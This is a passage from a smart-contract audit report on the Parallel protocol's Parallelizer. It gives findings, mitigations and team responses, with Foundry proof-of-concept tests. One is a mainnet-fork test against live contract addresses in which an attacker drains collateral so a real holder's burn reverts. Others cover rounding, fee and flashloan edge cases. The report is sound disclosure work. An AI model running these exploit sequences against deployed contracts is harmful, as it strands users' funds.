  deal(tokenIn, owner, type(uint128).max); // really large amount
  uint256 beforeBal = IERC20(tokenIn).balanceOf(owner);
  vm.startPrank(owner);
  IERC20(tokenIn).approve(address(parallelizer), type(uint256).max);
  parallelizer.swapExactOutput(amountOut, type(uint256).max, tokenIn, address(tokenP), owner,
  ↪  block.timestamp * 2);
  vm.stopPrank();
  spent = beforeBal - IERC20(tokenIn).balanceOf(owner);
}

function test_cyfrin_mintExactOutput_lowDecimals_userFavorableRounding() external {
  // Maximize rounding delta: choose amountOut with remainder (1e12 - 1) when divided by 1e12.
  // This makes the 6-decimal path floor by almost 1e12 units (in 18-decimal terms).
  uint256 amountOut = 1e24 + (1e12 - 1);

  uint256 quote6 = parallelizer.quoteOut(amountOut, address(eurA), address(tokenP));
  uint256 spent6 = _mintExactOutputAndGetSpent(address(eurA), alice, amountOut);

  uint256 quote18 = parallelizer.quoteOut(amountOut, address(eurY), address(tokenP));
  uint256 spent18 = _mintExactOutputAndGetSpent(address(eurY), alice, amountOut);

  // Normalize 6-decimals collateral into 18-decimals for apples-to-apples comparison.
  uint256 cost6In18 = spent6 * 1e12;
  uint256 cost18In18 = spent18;

  console2.log("Mint exact output comparison (same amountOut):");
  console2.log(string.concat("amountOut (TokenP, 18 dec) = ", amountOut.formatFixed(18)));
  console2.log(string.concat("collateral 6-dec (eurA) spent = ", spent6.formatFixed(6)));
  console2.log(string.concat("collateral 18-dec (eurY) spent = ", spent18.formatFixed(18)));
  console2.log(string.concat("eurA cost normalized to 18 dec = ", cost6In18.formatFixed(18)));
  console2.log(string.concat("eurY cost (18 dec) = ", cost18In18.formatFixed(18)));
  console2.log(string.concat("rounding delta (18 dec units) = ", (cost18In18 -
  ↪  cost6In18).formatFixed(18)));
```

```
  // Rounding in convertDecimalTo(18 -> 6) floors, making the 6-decimals mint slightly cheaper.
  assertLt(cost6In18, cost18In18);
}


function test_cyfrin_burnExactOutput_highDecimals_userFavorableRounding() external {
  // Choose amountOut for 27-dec collateral with remainder (1e9 - 1) to maximize rounding down
  // when converting 27 -> 18, reducing the TokenP required.
  uint256 amountOut18 = 1_000_000e18;
  uint256 amountOut27 = amountOut18 * 1e9 + (1e9 - 1);

  // Mint TokenP from each collateral to seed normalizedStables for burns.
  _mintExactInput(alice, address(eurZ), amountOut27, 0);
  _mintExactInput(alice, address(eurY), amountOut18, 0);

  // Fund the Parallelizer with collateral to pay out on burn.
  deal(address(eurY), address(parallelizer), amountOut18);
  deal(address(eurZ), address(parallelizer), amountOut27);

  uint256 expectedIn27 = amountOut18; // floor(amountOut27 / 1e9)

  vm.startPrank(alice);
  uint256 in27 =
    parallelizer.swapExactOutput(amountOut27, type(uint256).max, address(tokenP), address(eurZ),
    ↪  alice, block.timestamp * 2);
  uint256 in18 =
    parallelizer.swapExactOutput(amountOut18, type(uint256).max, address(tokenP), address(eurY),
    ↪  alice, block.timestamp * 2);
  vm.stopPrank();

  uint256 extraOut27 = amountOut27 - amountOut18 * 1e9;

  console2.log("Exact output burn comparison (27-dec vs 18-dec collateral):");
  console2.log(string.concat("amountOut27 (EUR_Z, 27 dec) = ", amountOut27.formatFixed(27)));
  console2.log(string.concat("amountOut18 (EUR_Y, 18 dec) = ", amountOut18.formatFixed(18)));
  console2.log(string.concat("tokenP in for 27-dec collateral = ", in27.formatFixed(18)));
  console2.log(string.concat("tokenP in for 18-dec collateral = ", in18.formatFixed(18)));
  console2.log(string.concat("extra collateral gained (27-dec units) = ",
  ↪  extraOut27.formatFixed(27)));

  // 27-dec path rounds down in 27 -> 18 conversion, so it needs the same TokenP
  // as the 18-dec path while delivering slightly more collateral.
  assertEq(in27, expectedIn27);
  assertEq(in18, amountOut18);
  assertEq(in27, in18);
  assertEq(extraOut27, 1e9 - 1);
}

function test_cyfrin_exactInput_27Decimals_roundingCanWasteInput() external {
  // Choose an amountIn with remainder (1e9 - 1) when divided by 1e9 to maximize rounding loss
  // in the 27-decimal -> 18-decimal conversion.
  uint256 amountIn27 = 1e27 + (1e9 - 1);
  uint256 amountIn18 = 1e18;

  deal(address(eurZ), alice, amountIn27);
  deal(address(eurY), alice, amountIn18);

  vm.startPrank(alice);
  eurZ.approve(address(parallelizer), type(uint256).max);
  eurY.approve(address(parallelizer), type(uint256).max);
  uint256 out27 = parallelizer.swapExactInput(amountIn27, 0, address(eurZ), address(tokenP), alice,
  ↪  block.timestamp * 2);
```

```
    uint256 out18 = parallelizer.swapExactInput(amountIn18, 0, address(eurY), address(tokenP), alice,
    ↪  block.timestamp * 2);
    vm.stopPrank();

    uint256 idealOut27 = (amountIn27 + (1e9 - 1)) / 1e9;
    uint256 roundingLoss = idealOut27 - out27;

    console2.log("Exact input comparison (27-dec vs 18-dec collateral):");
    console2.log(string.concat("amountIn27 (EUR_Z, 27 dec) = ", amountIn27.formatFixed(27)));
    console2.log(string.concat("amountIn18 (EUR_Y, 18 dec) = ", amountIn18.formatFixed(18)));
    console2.log(string.concat("out27 (TokenP, 18 dec) = ", out27.formatFixed(18)));
    console2.log(string.concat("out18 (TokenP, 18 dec) = ", out18.formatFixed(18)));
    console2.log(string.concat("idealOut27 (ceil, 18 dec) = ", idealOut27.formatFixed(18)));
    console2.log(string.concat("roundingLoss (TokenP wei) = ", roundingLoss.formatFixed(18)));

    // The 27-decimal path floors, so it loses up to 1 TokenP wei vs a ceiling conversion.
    assertEq(out27 + roundingLoss, idealOut27);
    assertEq(roundingLoss, 1);
  }

}
```

```
[PASS] test_cyfrin_mintExactOutput_lowDecimals_userFavorableRounding() (gas: 735829)
Logs:
  Mint exact output comparison (same amountOut):
  amountOut (TokenP, 18 dec) = 1,000,000.000000999999999999
  collateral 6-dec (eurA) spent = 1,000,000.000000
  collateral 18-dec (eurY) spent = 1,000,000.000000999999999999
  eurA cost normalized to 18 dec = 1,000,000.000000000000000000
  eurY cost (18 dec) = 1,000,000.000000999999999999
  rounding delta (18 dec units) = 0.000000999999999999```
```

```
[PASS] test_cyfrin_burnExactOutput_highDecimals_userFavorableRounding() (gas: 1288290)
Logs:
  Exact output burn comparison (27-dec vs 18-dec collateral):
  amountOut27 (EUR_Z, 27 dec) = 1,000,000.000000000000000000999999999
  amountOut18 (EUR_Y, 18 dec) = 1,000,000.000000000000000000
  tokenP in for 27-dec collateral = 1,000,000.000000000000000000
  tokenP in for 18-dec collateral = 1,000,000.000000000000000000
  extra collateral gained (27-dec units) = 0.000000000000000000999999999
```

Recommended Mitigation: Modify `convertDecimalsTo` to include a parameter for the rounding direction and use appropriately.

Parallel: Fixed in commit f60101a.

Cyfrin: Verified. `LibHelpers.convertDecimalsTo` now rounds towards the specified direction when converting from higher decimals to lower decimals.

7.4.3 Consider making `globalCreditLimit` an `int256`

Description: `BridgeableTokenP.sol` has global limits on difference `creditedTokens - debitedTokens`. Lowest value `globalDebitLimit` is `int256`. While highest value `globalCreditLimit` is `uint256`, i.e. it explicitly assumes `> 0`.

It's possible that in extreme scenario you'll want to encourage leaving certain chain, so `globalCreditLimit` will be negative.

Recommended Mitigation: Consider making `globalCreditLimit` an `int256`.

Parallel: Acknowledged. The scenario described (encouraging tokens to leave a chain) is already achievable by setting `globalCreditLimit = 0` and adjusting `globalDebitLimit`.

7.4.4 Incorrect link to Angle contracts across protocol

Description: Parallelizer protocol is fork of Angle, it always refers origin implementation. However link pattern doesn't work anymore. It uses `parallelizer` folder, however there is no such folder in Angle's GitHub.

```
/// @dev This contract is an authorized fork of Angle's `AccessControlModifiers` contract
/// https://github.com/AngleProtocol/angle-transmuter/blob/main/contracts/parallelizer/facets/AccessCon
↪ trolModifiers.sol
```

Recommended Mitigation: Update folder name from `parallelizer` to `transmuter` in all such links to make them work. It should be done across all forked contracts.

Parallel: Fixed in commit 08bc292.

7.4.5 Mint and burn fees are distributed via `Surplus`

Description: PR-13 description defines expected behaviour of `Surplus` module:

> The issue: When yield-bearing assets (e.g., sUSDe, etc.) are deposited as collateral, their balance increases as yield accrues. However, the normalizedStables tracking only reflects the stablecoins originally issued against the collateral, not the additional value from accrued yield. This creates a surplus where the actual collateral value exceeds the tracked backing.
>
> Solution: The processSurplus function calculates this surplus (difference between current collateral value and normalized stables), swaps the surplus collateral into TokenP, and then the TokenP can be released to corresponding payees set by the Governor via the release() function.

However there is another unmentioned source that generates value: mint and burn fees. During mint it takes collateral amount higher than minted USDP, opposite in burn: it sends slightly less collateral then USDP burnt. So actually `Surplus` treats those generated fees as surplus and distributes it.

Recommended Mitigation: Consider documenting such behaviour.

Parallel: Fixed by updating [PR *Insufficient validation of collateral consumption in external swap during Harvesting in `GenericHarvester`*'s description](https://github.com/parallel-protocol/parallel-parallelizer/pull/13#issue-3793312640)

Cyfrin: Verified.

7.4.6 Unbounded `O(n)` renormalization in `_updateNormalizer` can lead to denial-of-service during redemption

Description: The function `Redeemer::_updateNormalizer` contains a renormalization loop that iterates over **all collaterals** (`ts.collateralList`) and performs storage writes when the computed `newNormalizerValue` falls outside the safe precision range `[BASE_18, BASE_36)`:

```
if (newNormalizerValue <= BASE_18 || newNormalizerValue >= BASE_36) {
    address[] memory collateralListMem = ts.collateralList;
    uint256 collateralListLength = collateralListMem.length;
    uint128 newNormalizedStables;
    for (uint256 i; i < collateralListLength; ++i) {
        uint128 newCollateralNormalizedStable = (
            (uint256(ts.collaterals[collateralListMem[i]].normalizedStables) * newNormalizerValue) /
            ↪ BASE_27
        ).toUint128();
        newNormalizedStables += newCollateralNormalizedStable;
        ts.collaterals[collateralListMem[i]].normalizedStables = uint216(newCollateralNormalizedStable);
    }
    ts.normalizedStables = newNormalizedStables;
    newNormalizerValue = BASE_27;
}
```

The renormalization is a precision-protection mechanism that rescales all per-collateral `normalizedStables` values when drift becomes extreme. While the design intent is sound, performing this O(n) operation synchronously within a public, unrestricted user function creates a theoretical gas griefing vector that could cause a DoS on redemptions.

Recommended Mitigation: Introduce a governance-settable `maxCollateralCount` variable with a sane default, and enforce it in `LibSetters::addCollateral`.

Parallel: Acknowledged

7.4.7 Interaction of `BridgeableTokenP` and `Parallelizer` allows local insolvency

Description: The protocol is globally solvent but can become locally insolvent per chain due the interaction of bridging and collateralstate in the Parellizer contract.

`BridgeableTokenP` enforces bridge activity using per-chain daily credit/debit quotas, while Parallelizer enforces collateralization during mint/burn. These mechanisms are not coupled. As a result, bridged USDp can be minted onto a destination chain where it is no longer locally backed by Parallelizer. A user can bridge in, burn for collateral, and deplete local collateral. In the worst case this forces subsequent users to bridge elsewhere to exit.

Parallel has acknowledged this behavior and accepts it as an intended tradeoff, on the basis that users can always bridge to another chain to burn/redeem.

However, users lose local redemption guarantees, can incur friction from forced bridging, and face different economic conditions on other chains where fees or collateral mix differ.

Impact: Users can be forced to bridge to other chains in order to burn/redeem USDp.

Proof of Concept: Two PoCs demonstrate both the local drain behavior and chain-dependent "better deal" outcomes (parallel-protocolMainnetBridgeInDrainFork.t.sol, parallel-protocolDepegBridgeBetterDeal.t.sol). These PoCs use recent forked state from existing deployed contracts on Ethereum mainnet.

```
// SPDX-License-Identifier: UNLICENSED
pragma solidity 0.8.28;

import { Test, console } from "@forge-std/Test.sol";
import { IERC20 } from "@openzeppelin/contracts/token/ERC20/IERC20.sol";
import { IERC20Metadata } from "@openzeppelin/contracts/token/ERC20/extensions/IERC20Metadata.sol";
import { DecimalString } from "../utils/DecimalString.sol";

interface ILiveParallelizer {
  function tokenP() external view returns (address);
  function getCollateralList() external view returns (address[] memory);
  function getIssuedByCollateral(address collateral) external view returns (uint256
  ↪  stablecoinsFromCollateral, uint256 stablecoinsIssued);
  function quoteOut(uint256 amountOut, address tokenIn, address tokenOut) external view returns
  ↪  (uint256 amountIn);
  function swapExactInput(
    uint256 amountIn,
    uint256 amountOutMin,
    address tokenIn,
    address tokenOut,
    address to,
    uint256 deadline
  )
    external
    returns (uint256 amountOut);
}

interface ILiveBridgeableTokenP {
  function getPrincipalToken() external view returns (address);
  function getDailyCreditLimit() external view returns (uint256);
  function getDailyDebitLimit() external view returns (uint256);
}
```

```
/// @notice Mainnet fork PoC against live addresses at block 24,497,000.
/// @dev We model the "bridge-in happened on destination" state by crediting attacker principal
↪  directly.
/// This is equivalent to post-bridge state for destination solvency analysis.
contract CyfrinMainnetBridgeInDrainForkTest is Test {
  uint256 internal constant FORK_BLOCK = 24_497_000;
  address internal constant BRIDGEABLE_USDP = 0x78BB4882b77D74aD9B04Ab71fE8e61f72595823C;
  address internal constant PARALLELIZER_USDP = 0x6efeDDF9269c3683Ba516cb0e2124FE335F262a2;
  address internal constant DEFAULT_REAL_HOLDER = 0xA702f2DB3D37680FF4A382cA56750EA799d63960;

  ILiveBridgeableTokenP internal bridge;
  ILiveParallelizer internal parallelizer;
  IERC20 internal usdp;
  uint8 internal usdpDecimals;

  address internal victim;
  address internal attacker = makeAddr("attacker");
  address internal chosenCollateral;
  uint256 internal victimBalance;

  function setUp() external {
    string memory rpcUrl = vm.envString("RPC_URL");
    vm.createSelectFork(rpcUrl, FORK_BLOCK);

    bridge = ILiveBridgeableTokenP(BRIDGEABLE_USDP);
    parallelizer = ILiveParallelizer(PARALLELIZER_USDP);

    address tokenFromBridge = bridge.getPrincipalToken();
    address tokenFromParallelizer = parallelizer.tokenP();
    assertEq(tokenFromBridge, tokenFromParallelizer, "bridge principal != parallelizer tokenP");
    usdp = IERC20(tokenFromBridge);
    usdpDecimals = IERC20Metadata(tokenFromBridge).decimals();

    victim = vm.envOr("USDP_HOLDER", DEFAULT_REAL_HOLDER);
    victimBalance = usdp.balanceOf(victim);
    require(victimBalance > 0, "holder has 0 USDp at fork block");
  }

  function test_cyfrin_mainnetFork_bridgeInEquivalentDrainCanStrandRealHolder() external {
    console.log("=== Mainnet fork Bridge-in equivalent PoC ===");
    console.log("This test models destination-side post-bridge principal credit, then burns against
    ↪  destination collateral.");
    console.log("If victim can burn before attack but cannot after, the attack condition is
    ↪  demonstrated.");
    console.log("");
    console.log("Phase 0: Fork configuration");
    console.log("Fork block:", FORK_BLOCK);
    console.log("BridgeableTokenP:", BRIDGEABLE_USDP);
    console.log("Parallelizer:", PARALLELIZER_USDP);
    console.log("USDp token:", address(usdp));
    console.log("Victim holder:", victim);
    _logAmount("Victim USDp balance: ", victimBalance, usdpDecimals);
    _logAmount("Daily credit limit: ", bridge.getDailyCreditLimit(), usdpDecimals);
    _logAmount("Daily debit limit: ", bridge.getDailyDebitLimit(), usdpDecimals);
    console.log("");

    console.log("Phase 1: Find a collateral the real holder can currently burn into");
    (chosenCollateral,) = _findVictimBurnableCollateral(victimBalance);
    require(chosenCollateral != address(0), "no burnable collateral for victim");
    uint8 collateralDecimals = IERC20Metadata(chosenCollateral).decimals();
    uint256 collatBefore = IERC20(chosenCollateral).balanceOf(PARALLELIZER_USDP);
    (uint256 issuedFromChosenCollateral,) = parallelizer.getIssuedByCollateral(chosenCollateral);
    console.log("Chosen collateral:", chosenCollateral);
```

```
  _logAmount("Chosen collateral balance before attack: ", collatBefore, collateralDecimals);
  _logAmount("Issued from chosen collateral: ", issuedFromChosenCollateral, usdpDecimals);
  console.log("");

  // Pre-check that victim can burn/redeem this collateral before the attack state.
  console.log("Phase 2: Baseline victim check (pre-attack)");
  uint256 preAmountOut = _simulateVictimBurn(victimBalance, chosenCollateral);
  _logAmount("Victim redeemable amount before attack: ", preAmountOut, collateralDecimals);
  require(preAmountOut > 0, "victim cannot redeem before attack");
  console.log("");

  // Bridge-in equivalent state: attacker receives large principal on destination.
  // We intentionally set this to collateral-draining size.
  console.log("Phase 3: Size attacker principal as if large bridge-in credit occurred");
  // Drain just enough collateral so the same victim burn path can no longer be satisfied post-attack.
  uint256 drainTarget = collatBefore > preAmountOut ? (collatBefore - preAmountOut + 1) : 1;
  uint256 principalNeededForTarget = parallelizer.quoteOut(drainTarget, address(usdp),
  ↪  chosenCollateral);
  // Burn path is bounded by per-collateral issued accounting.
  uint256 attackPrincipalNeeded = principalNeededForTarget;
  if (attackPrincipalNeeded >= issuedFromChosenCollateral) {
    attackPrincipalNeeded = issuedFromChosenCollateral > 1 ? issuedFromChosenCollateral - 1 : 0;
  }
  require(attackPrincipalNeeded > 0, "no attack principal room");
  _logAmount("Target collateral drain: ", drainTarget, collateralDecimals);
  _logAmount("Principal needed for target: ", principalNeededForTarget, usdpDecimals);
  _logAmount("Attack principal used (bounded by issued): ", attackPrincipalNeeded, usdpDecimals);
  console.log("");

  console.log("Phase 4: Credit attacker principal (bridge-in equivalent) and drain collateral");
  deal(address(usdp), attacker, attackPrincipalNeeded, true);
  _logAmount("Attacker USDp before drain: ", usdp.balanceOf(attacker), usdpDecimals);

  vm.startPrank(attacker);
  usdp.approve(PARALLELIZER_USDP, type(uint256).max);
  uint256 drained = parallelizer.swapExactInput(
    attackPrincipalNeeded, 0, address(usdp), chosenCollateral, attacker, block.timestamp + 1 days
  );
  vm.stopPrank();
  _logAmount("Collateral drained by attacker: ", drained, collateralDecimals);
  _logAmount("Attacker USDp after drain: ", usdp.balanceOf(attacker), usdpDecimals);
  _logAmount("Attacker collateral after drain: ", IERC20(chosenCollateral).balanceOf(attacker),
  ↪  collateralDecimals);

  uint256 collatAfter = IERC20(chosenCollateral).balanceOf(PARALLELIZER_USDP);
  _logAmount("Chosen collateral balance after attack: ", collatAfter, collateralDecimals);
  console.log("");

  console.log("Phase 5: Victim post-attack check (expected revert)");
  _logAmount("Victim USDp before failed burn: ", usdp.balanceOf(victim), usdpDecimals);
  vm.startPrank(victim);
  usdp.approve(PARALLELIZER_USDP, type(uint256).max);
  vm.expectRevert();
  parallelizer.swapExactInput(victimBalance, 0, address(usdp), chosenCollateral, victim,
  ↪  block.timestamp + 1 days);
  vm.stopPrank();
  console.log("Victim burn reverted as expected after attacker drain.");
}

function _logAmount(string memory label, uint256 amount, uint8 decimals) internal pure {
  console.log(string.concat(label, DecimalString.formatFixed(amount, decimals)));
}
```

```
  function _simulateVictimBurn(uint256 amountIn, address collateral) internal returns (uint256) {
    uint256 snap = vm.snapshotState();
    vm.startPrank(victim);
    usdp.approve(PARALLELIZER_USDP, type(uint256).max);
    uint256 amountOut =
      parallelizer.swapExactInput(amountIn, 0, address(usdp), collateral, victim, block.timestamp + 1
      ↪  days);
    vm.stopPrank();
    vm.revertToState(snap);
    return amountOut;
  }

  function _findVictimBurnableCollateral(uint256 amountIn) internal returns (address collateral,
  ↪  uint256 amountOut) {
    address[] memory list = parallelizer.getCollateralList();
    for (uint256 i = 0; i < list.length; ++i) {
      address c = list[i];
      if (IERC20(c).balanceOf(PARALLELIZER_USDP) == 0) continue;
      uint256 snap = vm.snapshotState();
      try this._tryBurnOnCollateral(amountIn, c) returns (uint256 out) {
        vm.revertToState(snap);
        if (out > 0) return (c, out);
      } catch {
        vm.revertToState(snap);
      }
    }
  }

  function _tryBurnOnCollateral(uint256 amountIn, address collateral) external returns (uint256) {
    vm.startPrank(victim);
    usdp.approve(PARALLELIZER_USDP, type(uint256).max);
    uint256 out = parallelizer.swapExactInput(
      amountIn, 0, address(usdp), collateral, victim, block.timestamp + 1 days
    );
    vm.stopPrank();
    return out;
  }
}
```

```
// SPDX-License-Identifier: Unlicensed
pragma solidity 0.8.28;

import { IERC20 } from "@openzeppelin/contracts/token/ERC20/IERC20.sol";
import { console } from "@forge-std/console.sol";

import { ITokenP } from "contracts/interfaces/ITokenP.sol";
import { IParallelizer } from "contracts/interfaces/IParallelizer.sol";
import { CollateralSetup, Test } from "contracts/parallelizer/configs/Test.sol";

import { MockTokenPermit } from "tests/mock/MockTokenPermit.sol";
import { Fixture } from "../Fixture.sol";
import { DecimalString } from "../utils/DecimalString.sol";
import "contracts/utils/Constants.sol";

contract CyfrinDepegBridgeBetterDealTest is Fixture {
  IParallelizer internal parallelizerChain2;
  ITokenP internal tokenPChain2;
  address internal configChain2;

  uint256 internal constant USER_BURN_AMOUNT = 2_000 * BASE_18;
  address internal constant PEGGED_BURN_ASSET = address(0); // placeholder not used directly

  function setUp() public override {
```

```
super.setUp();

tokenPChain2 = ITokenP(address(new MockTokenPermit("agEUR_2", "agEUR_2", 18)));
vm.label(address(tokenPChain2), "tokenPChain2");

configChain2 = address(new Test());
parallelizerChain2 = deployReplicaParallelizer(
  configChain2,
  abi.encodeWithSelector(
    Test.initialize.selector,
    address(accessManager),
    tokenPChain2,
    CollateralSetup(address(eurA), address(oracleA)),
    CollateralSetup(address(eurB), address(oracleB)),
    CollateralSetup(address(eurY), address(oracleY))
  )
);
vm.label(address(parallelizerChain2), "ParallelizerChain2");

vm.startPrank(governor);
accessManager.setTargetFunctionRole(
  address(parallelizerChain2), getParallelizerGovernorSelectorAccess(), GOVERNOR_ROLE
);
accessManager.setTargetFunctionRole(
  address(parallelizerChain2), getParallelizerGuardianSelectorAccess(), GUARDIAN_ROLE
);
vm.stopPrank();

// Keep mint fees flat/neutral; use the same burn fee curve on both chains.
_setMintFeesZero(address(parallelizer));
_setMintFeesZero(address(parallelizerChain2));
_setBurnCurveSameOnBothChains(address(parallelizer));
_setBurnCurveSameOnBothChains(address(parallelizerChain2));

// Chain 1: low EUR_Y proportion (worse burn fee for burning into EUR_Y).
_mintStableOn(address(parallelizer), address(tokenP), governor, address(eurA), 900_000 * BASE_6,
↪  treasury);
_mintStableOn(address(parallelizer), address(tokenP), governorAndGuardian, address(eurB), 300_000 *
↪  BASE_12, treasury);
_mintStableOn(address(parallelizer), address(tokenP), guardian, address(eurY), 100_000 * BASE_18,
↪  treasury);

// Chain 2: high EUR_Y proportion (better burn fee for burning into EUR_Y).
_mintStableOn(address(parallelizerChain2), address(tokenPChain2), governor, address(eurA), 100_000
↪  * BASE_6, treasury);
_mintStableOn(
  address(parallelizerChain2), address(tokenPChain2), governorAndGuardian, address(eurB), 200_000 *
  ↪  BASE_12, treasury
);
_mintStableOn(address(parallelizerChain2), address(tokenPChain2), guardian, address(eurY), 900_000
↪  * BASE_18, treasury);

// Give Alice stablecoins on each chain so she can burn in both.
_mintStableOn(address(parallelizer), address(tokenP), governorAndGuardian, address(eurB), 20_000 *
↪  BASE_12, alice);
_mintStableOn(
  address(parallelizerChain2), address(tokenPChain2), governorAndGuardian, address(eurB), 20_000 *
  ↪  BASE_12, alice
);

vm.startPrank(alice);
IERC20(address(tokenP)).approve(address(parallelizer), type(uint256).max);
IERC20(address(tokenPChain2)).approve(address(parallelizerChain2), type(uint256).max);
```

```
  vm.stopPrank();
}

function test_cyfrin_BurnIntoPeggedAsset_FeesDifferByChainComposition() external {
  console.log("=== Burns-only comparison into pegged EUR_Y ===");
  _logAmount("Burn amount (stable): ", USER_BURN_AMOUNT, 18);
  console.log("Burn target asset: EUR_Y (pegged)");
  console.log("");

  console.log("Initial collateral mixes:");
  _logChainInventory("Chain 1", address(parallelizer));
  _logChainInventory("Chain 2", address(parallelizerChain2));
  console.log("");

  uint256 quotedOutChain1 = parallelizer.quoteIn(USER_BURN_AMOUNT, address(tokenP), address(eurY));
  uint256 quotedOutChain2 = parallelizerChain2.quoteIn(USER_BURN_AMOUNT, address(tokenPChain2),
  ↪  address(eurY));

  uint256 chain1FeeAmount = USER_BURN_AMOUNT > quotedOutChain1 ? USER_BURN_AMOUNT - quotedOutChain1 :
  ↪  0;
  uint256 chain2FeeAmount = USER_BURN_AMOUNT > quotedOutChain2 ? USER_BURN_AMOUNT - quotedOutChain2 :
  ↪  0;
  uint256 chain1FeeBps = (chain1FeeAmount * 10_000) / USER_BURN_AMOUNT;
  uint256 chain2FeeBps = (chain2FeeAmount * 10_000) / USER_BURN_AMOUNT;

  _logAmount("Quoted EUR_Y out on chain 1: ", quotedOutChain1, 18);
  _logAmount("Quoted EUR_Y out on chain 2: ", quotedOutChain2, 18);
  _logAmount("Implied fee amount chain 1: ", chain1FeeAmount, 18);
  _logAmount("Implied fee amount chain 2: ", chain2FeeAmount, 18);
  _logAmount("Implied fee bps chain 1: ", chain1FeeBps, 0);
  _logAmount("Implied fee bps chain 2: ", chain2FeeBps, 0);
  console.log("");

  vm.startPrank(alice);
  uint256 outChain1 = parallelizer.swapExactInput(
    USER_BURN_AMOUNT, 0, address(tokenP), address(eurY), alice, block.timestamp + 1 hours
  );
  vm.stopPrank();
  vm.startPrank(alice);
  uint256 outChain2 = parallelizerChain2.swapExactInput(
    USER_BURN_AMOUNT, 0, address(tokenPChain2), address(eurY), alice, block.timestamp + 1 hours
  );
  vm.stopPrank();

  _logAmount("Actual EUR_Y out on chain 1: ", outChain1, 18);
  _logAmount("Actual EUR_Y out on chain 2: ", outChain2, 18);
  _logAmount("Actual output edge (chain2 - chain1): ", outChain2 - outChain1, 18);

  assertEq(outChain1, quotedOutChain1, "quote must match execution on chain 1");
  assertEq(outChain2, quotedOutChain2, "quote must match execution on chain 2");
  assertGt(chain1FeeBps, chain2FeeBps, "Expected lower computed burn fee on chain 2");
  assertGt(outChain2, outChain1, "Expected better pegged-asset burn outcome on chain 2");
}

function _setMintFeesZero(address target) internal {
  uint64[] memory xMint = new uint64[](1);
  xMint[0] = uint64(0);
  int64[] memory yMint = new int64[](1);
  yMint[0] = 0;

  vm.startPrank(guardian);
  IParallelizer(target).setFees(address(eurA), xMint, yMint, true);
  IParallelizer(target).setFees(address(eurB), xMint, yMint, true);
```

```
    IParallelizer(target).setFees(address(eurY), xMint, yMint, true);
    vm.stopPrank();
  }

  function _setBurnCurveSameOnBothChains(address target) internal {
    // Burn curve constraints:
    // - x strictly decreasing from BASE_9
    // - y strictly increasing
    // - y[0] == y[1] when n>1
    uint64[] memory xBurn = new uint64[](3);
    xBurn[0] = uint64(BASE_9);
    xBurn[1] = 800_000_000;
    xBurn[2] = 300_000_000;

    int64[] memory yBurn = new int64[](3);
    yBurn[0] = 0;
    yBurn[1] = 0;
    yBurn[2] = 200_000_000; // up to 20% fee when exposure gets low

    vm.startPrank(guardian);
    IParallelizer(target).setFees(address(eurA), xBurn, yBurn, false);
    IParallelizer(target).setFees(address(eurB), xBurn, yBurn, false);
    IParallelizer(target).setFees(address(eurY), xBurn, yBurn, false);
    vm.stopPrank();
  }

  function _mintStableOn(
    address target,
    address stableToken,
    address payer,
    address collateral,
    uint256 amountIn,
    address receiver
  )
    internal
    returns (uint256 minted)
  {
    vm.startPrank(payer);
    deal(collateral, payer, amountIn);
    IERC20(collateral).approve(target, type(uint256).max);
    minted = IParallelizer(target).swapExactInput(amountIn, 0, collateral, stableToken, receiver,
    ↪  block.timestamp + 1 hours);
    vm.stopPrank();
  }

  function _logChainInventory(string memory name, address target) internal view {
    console.log(string.concat("  ", name, ":"));
    _logAmount("    eurA balance: ", IERC20(address(eurA)).balanceOf(target), 6);
    _logAmount("    eurB balance: ", IERC20(address(eurB)).balanceOf(target), 12);
    _logAmount("    eurY balance: ", IERC20(address(eurY)).balanceOf(target), 18);
  }

  function _logAmount(string memory label, uint256 amount, uint8 decimals) internal pure {
    console.log(string.concat(label, DecimalString.formatFixed(amount, decimals)));
  }
}
```

Parallel: Acknowledged.

Cyfrin: Added an operational note on the executive summary to document this behavior.

7.4.8 In zero-fee case, flashloan can result in a few wei profit

Description: This is issue is placeholder for: https://github.com/parallel-protocol/parallel-core/blob/audit/100proof/Parallel-Parallelizer/tests/fuzz/parallel-protocolFlashloanRedeemPiecewiseMint.t.sol and leverages Issue *`LibHelpers.convertDecimalsTo` favours the user on a exact-out mint and burn for certain collateral decimals*.

```
// SPDX-License-Identifier: UNLICENSED
pragma solidity 0.8.28;

import { IERC20 } from "@openzeppelin/contracts/token/ERC20/IERC20.sol";

import { ITokenP } from "contracts/interfaces/ITokenP.sol";
import { IParallelizer } from "contracts/interfaces/IParallelizer.sol";

import "../Fixture.sol";

/// @dev Minimal ERC-3156 interfaces (avoid depending on OZ interfaces in this repo).
interface IERC3156FlashBorrower {
  function onFlashLoan(
    address initiator,
    address token,
    uint256 amount,
    uint256 fee,
    bytes calldata data
  )
    external
    returns (bytes32);
}

interface IERC3156FlashLender {
  function maxFlashLoan(address token) external view returns (uint256);
  function flashFee(address token, uint256 amount) external view returns (uint256);
  function flashLoan(IERC3156FlashBorrower receiver, address token, uint256 amount, bytes calldata data)
    external
    returns (bool);
}

/// @dev Flash lender that mints principal, pulls back principal+fee via transferFrom, then burns
↪  principal.
/// This matches the mechanics of `FlashParallelToken` (principal is minted/burned, lender keeps fees).
contract FlashLenderMock is IERC3156FlashLender {
  bytes32 public constant CALLBACK_SUCCESS = keccak256("ERC3156FlashBorrower.onFlashLoan");

  ITokenP public immutable tokenP;

  uint256 public maxBorrowable;
  uint256 public flatFee; // simplest fee model for fuzzing

  constructor(ITokenP _tokenP) {
    tokenP = _tokenP;
  }

  function setParams(uint256 _maxBorrowable, uint256 _flatFee) external {
    maxBorrowable = _maxBorrowable;
    flatFee = _flatFee;
  }

  function maxFlashLoan(address token) external view returns (uint256) {
    return token == address(tokenP) ? maxBorrowable : 0;
  }

  function flashFee(address token, uint256 /*amount*/ ) external view returns (uint256) {
```

```
    require(token == address(tokenP), "unsupported token");
    return flatFee;
  }

  function flashLoan(IERC3156FlashBorrower receiver, address token, uint256 amount, bytes calldata data)
    external
    returns (bool)
  {
    require(token == address(tokenP), "unsupported token");
    require(amount <= maxBorrowable, "too big");

    uint256 fee = flatFee;

    tokenP.mint(address(receiver), amount);
    require(receiver.onFlashLoan(msg.sender, token, amount, fee, data) == CALLBACK_SUCCESS, "bad
    ↪  callback");

    // Repay principal+fee to the lender, then burn the principal minted for the loan.
    IERC20(token).transferFrom(address(receiver), address(this), amount + fee);
    tokenP.burnSelf(amount, address(this));
    return true;
  }
}

/// @dev Borrower that tries the sequence:
/// 1) redeem all borrowed tokenP for collateral
/// 2) piecewise mint exact output to get back amount+fee with minimal collateral
/// 3) keep any leftover collateral/tokenP as profit
contract RedeemPiecewiseMintBorrower is IERC3156FlashBorrower {
